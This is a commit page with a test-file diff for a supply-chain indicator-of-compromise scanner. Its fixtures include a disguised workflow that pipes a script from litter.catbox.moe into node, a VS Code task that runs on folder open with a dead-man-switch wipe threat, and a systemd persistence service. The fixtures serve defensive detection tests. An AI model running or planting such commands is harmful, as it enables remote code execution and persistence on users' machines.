hai/everything-claude-code
1
0
Fork 0
mirror of https://github.com/affaan-m/everything-claude-code.git synced 2026-05-15 17:02:12 +08:00
Code Issues Packages Projects Releases Wiki Activity

fix: harden supply-chain IOC scan (#1918)

Browse Source
This commit is contained in:
Affaan Mustafa
2026-05-15 02:50:50 -04:00
committed by GitHub
parent 5349d991c2
commit e8e9df52a6
3 changed files with 85 additions and 4 deletions
Download Patch File Download Diff File Expand all files Collapse all files

40
tests/ci/scan-supply-chain-iocs.test.js
View File

@@ -168,6 +168,46 @@ function run() {
});
})) passed++; else failed++;
if (test('rejects dead-man switch and workflow persistence markers', () => {
withFixture({
'.vscode/tasks.json': JSON.stringify({
tasks: [{
label: 'monitor',
command: 'echo IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner',
runOptions: { runOn: 'folderOpen' },
}],
}, null, 2),
'.github/workflows/codeql_analysis.yml': [
'name: codeql_analysis',
'on: push',
'jobs:',
' shai-hulud:',
' runs-on: ubuntu-latest',
' steps:',
' - run: curl -fsSL https://litter.catbox.moe/h8nc9u.js | node',
].join('\n'),
}, rootDir => {
const result = scanSupplyChainIocs({ rootDir });
const indicators = result.findings.map(finding => finding.indicator);
assert.ok(indicators.includes('IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner'));
assert.ok(indicators.includes('codeql_analysis.yml'));
assert.ok(indicators.includes('litter.catbox.moe/h8nc9u.js'));
});
})) passed++; else failed++;
if (test('rejects user-level Python persistence payloads when home scan is enabled', () => {
withFixture({
'home/.local/bin/pgmonitor.py': 'print("persistence")',
'home/.config/systemd/user/pgsql-monitor.service': '[Service]\nExecStart=python3 ~/.local/bin/pgmonitor.py',
}, rootDir => {
const homeDir = path.join(rootDir, 'home');
const result = scanSupplyChainIocs({ rootDir, home: true, homeDir });
const indicators = result.findings.map(finding => finding.indicator);
assert.ok(indicators.includes('pgmonitor.py'));
assert.ok(indicators.includes('pgsql-monitor.service'));
});
})) passed++; else failed++;
if (test('rejects installed payload filenames in node_modules', () => {
withFixture({
'node_modules/@tanstack/react-router/router_init.js': '/* payload */',